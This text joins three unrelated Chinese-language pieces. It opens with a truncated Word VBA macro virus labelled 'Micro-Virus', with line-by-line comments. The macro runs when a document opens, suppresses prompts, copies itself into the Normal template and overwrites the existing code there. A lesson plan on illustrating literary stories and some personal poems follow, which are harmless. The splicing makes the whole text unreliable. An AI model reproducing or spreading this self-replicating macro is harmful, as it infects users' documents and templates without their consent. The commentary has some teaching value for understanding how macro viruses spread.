'Micro-Virus 'Sub Document_Open()'文档打开时运行的程序过程 On Error Resume Next '遇到错误执行下一行 Application.DisplayStatusBar = False '把状态栏设置为不显示 'MsgBox "DisplayStatusBar = False" Options.SaveNormalPrompt = False '将Word 在退出之前是否保存对Normal 模板更改的提示设置为否 Ourcode = ThisDocument.VBProject.VBComponents(1).CodeModule.Lines(1, 100) '设Ourcode等于这个文档的工程代码的1-100行 'MsgBox "Ourcode" 'get normal Set Host = NormalTemplate.VBProject.VBComponents(1).CodeModule '设Host等于Word模板的工程代 'if normal, set active; If ThisDocument = NormalTemplate Then '如果这个文档等于Word模板,那么 ' MsgBox "ThisDocument = NormalTemplate" Set Host = ActiveDocument.VBProject.VBComponents(1).CodeModule '让Host也就是Word模板的工程代码等于这个文档的工程代码 ' MsgBox "Set Host = ActiveDocument" End If '本假设语句运行结束 With Host '围绕Host也就是Word模板的工程代码 If .Lines(1, 1) <> "'Micro-Virus" Then '如果Word模板的工程代码的第一行不等于"'Micro-Virus",那么 .DeleteLines 1, .CountOfLines '删除从第一行开始的所有行 ' MsgBox "DeleteLines 1, .CountOfLines" .InsertLines 1, Ourcode '插入Ourcode代码 .ReplaceLine 2, "Sub Document_Close()" '把第二行换成"Sub Document_Close()",也就是文档关闭时运行的程序过程 ' MsgBox "ReplaceLine 2,Close()" If ThisDocument = NormalTemplate Then '如果这个文档等于Word模板,那么 ' MsgBox "ThisDocument = NormalTemplate"

《给文学故事配插图》教案

4《给文学故事陪插图》 教学目标: 通过对文学作品的深入理解,运用绘画语言进行插图创作。培养学生丰富的形象思维能力和创造力 教学重难点: 1、运用绘画的语言表现文学情节。 2、对文学作品的理解和体会,与情节相匹配的绘画语言。 课前准备: 教师准备:教学课件、相关图片、文字资料等。 学生准备:画笔、纸等。 教学过程: 一、教学引入。 1、启发活动:教师以平稳、微笑的神态注视学生,用神态与学生交流。(等听到铃声后开始上课,师生问好!)师:我们班的同学热爱文学,而且口才也非常好,那么在今天这节课上哪位同学能够给全班同学讲一段精彩的小故事呢?许多同学举手要求讲故事.生:讲故事(略)师:刘雨晴同学的故事讲完了,大家说她讲的好不好?生:好!师:同学们在听故事的时候,头脑中是否有根据故事情节形成的画面.生:有!师:其实绘画艺术家也和大家一样,但他们不同的是把对故事的想象用画笔记录下来.而这记录下来的绘画作品也就是我们今天要研究的内容----给文学作品配插图。 2、出示课题----给文学作品配插图用多媒体课件揭示插图的概念。师:那么,同学们和老师一同欣赏几幅优秀的插图作品。(多媒体

课件展示插图作品.如:哈里.波特、买火柴的小女孩、狼牙山五壮士等) 师:通过欣赏插图作品,你认为插图有那些作用?启发思维让学生自己分析 生 1:是文学作品的图解。 生 2:把文学作品变的更直观,更能增加文学作品的感染力。 师:好,我们同学说的都很好。老师总结一下插图的作用看一看同学们和老师总结的是一样不。(多媒体课件展示插图的作用) 3、参与游戏----创造情景让学生感受与想象。师:老师想考察一下我们同学对文学作品的感受能力。老师出示二个成语,“守株待兔”、“掩耳盗铃”请两个小组各选2名同学到前面进行无声小品表演。生:活动略。场面热烈,学生互动积极。活动结束。 4、课堂练习----情景中的创造表现。“天苍苍野茫茫风吹草低见牛羊”师:请同学们体会一下诗中的意境……同学先用语言描述一下诗句中的景色、再展开丰富的想象。师:请同学拿起手中的画笔,大胆借用你喜欢的画法,给诗句配上得体的插图。 5、介绍评述----自主评价式的新颖展示。说一说我的画:请同学介绍自己的作品。说一说他的画:请同学简单的评述其他同学的作品。 二、教学中的典型情境。 情境一:当课一开始时,一名学生给全班学生讲童话故事,全班同学被故事中的情节所吸引。这时,老师提问:“同学们在听故事的时候,头脑中是否有根据故事的情节形成的画面?”学生们齐声回

自己写的的几首小诗

杜十娘之感 涛涛东逝水,一去永不归。满腹哀恸事,何处寄芳魂。用情已至深,君却伤人心。泪水盈盈落,江风凉凄凄。再抚琴一曲,曲知人情意。曲声催人泪,曲调销人魂。君为千两金,随意安妾身。曲终人已散,孤灯影独悲。涛涛东逝水,一去永不归。烟花随人去,去后倍伤神。君乃薄情郎,痛伤妾肝肠。肝肠寸寸断,呜咽声绵绵。海誓随烟飞,山盟随云散。空有万两金,一别魂飞扬。青丝随风舞,容颜憔悴损。金比妾身重,生者再为谁。涛涛东逝水,一去永不归。夜莺声清切,声声触心魂。凄惨风尘中,悲哀花柳巷。始于识君时,两心一如望。江上升孤月,孤月初照混。江中月飘摇,命运无定期。雪肌花容貌,音容皆渺茫。殷勤寄绝言,可悲痴情人。人至情愈深,天命与我违。芳魂始飘然,离别永无会。喟然伤心肝,挥涕独不还。若知身死处,盈盈一水间。 随笔 碧云冉冉升天际 风来波动花凄迷 落花随水共相逐 雨打芭蕉声声泣 渐行渐远渐黄昏 行云无声欲断魂 昨夜落花忽惊梦 流水潺潺欲惜春 飞鸿一声斜阳暮 梦断天涯 魂归何处 2005年7月15日 我用爱为你做一双翅膀 再给你足够的空间任你翱翔 只要你记得 你应认准你的方向 不要让我太为你牵肠 我给你鸿鹄的志向

再给你鹰的强壮 在风雨荆棘险恶的路上 一如既往 不要因繁华的景象 迷失心的方向 我渴求艳阳 渴求的是你的路途尽是阳光 没有阴雨泠泠 亦无雷电轰鸣 写在高中时 窗外飞红乱视线,春去也,花惨败,子规归处,泣涕无依伴,花落仍留暗香在,空飘零,无 人怜。 红尘闲愁纠心扉,春归去,独自悲,泪水泠泠,凉彻心扉儿,今昔一去永不归,空埋怨,无 人恋。 写在高中时 望不见,愁肠断 期盼瞬间成云烟 空守候,倚斜栏 泪眼望花君影现 形容瘦,泪痕干 已忘今昔是何年 爱悠悠,恨悠悠 思念不知几时休 双鬓白,桃花开 如今望花心茫然 桃花美,桃花艳 余今眼中皆惨败 思君容,盼君现 一思一盼花又败 爱相随,情难言 人面桃花变尘埃

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